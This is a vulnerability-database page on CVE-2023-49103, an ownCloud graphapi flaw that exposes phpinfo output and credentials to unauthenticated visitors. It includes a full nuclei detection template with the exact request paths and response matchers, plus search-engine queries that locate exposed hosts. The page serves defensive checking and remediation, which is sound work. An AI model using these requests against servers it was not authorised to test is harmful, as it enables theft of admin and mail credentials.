HexBrain

Browse / CVEs / CVE-2023-49103

CVE-2023-49103· owncloud / graph api· CWE-200

OwnCloud - Phpinfo Configuration

Exploited in the wild. Listed by CISA on 2023-11-30; known to be used by ransomware.

highseverity
7.5CVSS score
77.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment (phpinfo). This information includes all the environment variables of the webserver. In containerized deployments, these environment variables may include sensitive data such as the ownCloud admin password, mail server credentials, and license key. Simply disabling the graphapi app does not eliminate the vulnerability. Additionally, phpinfo exposes various other potentially sensitive configuration details that could be exploited by an attacker to gather information about the system.

Impact

Unauthenticated attackers can access phpinfo configuration details exposing sensitive credentials including admin passwords, mail server credentials, and license keys in containerized deployments.

Fix

Upgrade ownCloud graphapi to version 0.2.1 or 0.3.1 or later, and remove or secure the GetPhpInfo.php file.

How to confirm it

Send: GET {{BaseURL}}/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/{{rand_base(4)}}.css ; GET {{BaseURL}}/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/{{rand_base(4)}}.css
Positive when: contains "PHP Extension" and "PHP Version" and "owncloud" AND status 200

Run it with nuclei: nuclei -id CVE-2023-49103 -u <target>

The full check
id: CVE-2023-49103

info:
  name: OwnCloud - Phpinfo Configuration
  author: ritikchaddha
  severity: high
  description: |
    An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment (phpinfo). This information includes all the environment variables of the webserver. In containerized deployments, these environment variables may include sensitive data such as the ownCloud admin password, mail server credentials, and license key. Simply disabling the graphapi app does not eliminate the vulnerability. Additionally, phpinfo exposes various other potentially sensitive configuration details that could be exploited by an attacker to gather information about the system.
  impact: |
    Unauthenticated attackers can access phpinfo configuration details exposing sensitive credentials including admin passwords, mail server credentials, and license keys in containerized deployments.
  remediation: |
    Upgrade ownCloud graphapi to version 0.2.1 or 0.3.1 or later, and remove or secure the GetPhpInfo.php file.
  reference:
    - https://github.com/creacitysec/CVE-2023-49103/blob/main/exploit.py
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49103
    - https://owncloud.com/security-advisories/disclosure-of-sensitive-credentials-and-configuration-in-containerized-deployments/
    - https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/
    - https://attackerkb.com/topics/G9urDj4Cg2/cve-2023-49103
    - https://www.rapid7.com/blog/post/2023/12/01/etr-cve-2023-49103-critical-information-disclosure-in-owncloud-graph-api/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-49103
    cwe-id: CWE-200
    epss-score: 0.77755
    epss-percentile: 0.99572
    cpe: cpe:2.3:a:owncloud:graph_api:0.2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: owncloud
    product: graph_api
    shodan-query:
      - title:"owncloud"
      - http.title:"owncloud"
    fofa-query: title="owncloud"
    google-query: intitle:"owncloud"
  tags: cve2023,cve,owncloud,phpinfo,config,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/{{rand_base(4)}}.css"
      - "{{BaseURL}}/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/{{rand_base(4)}}.css"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
          - "owncloud"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from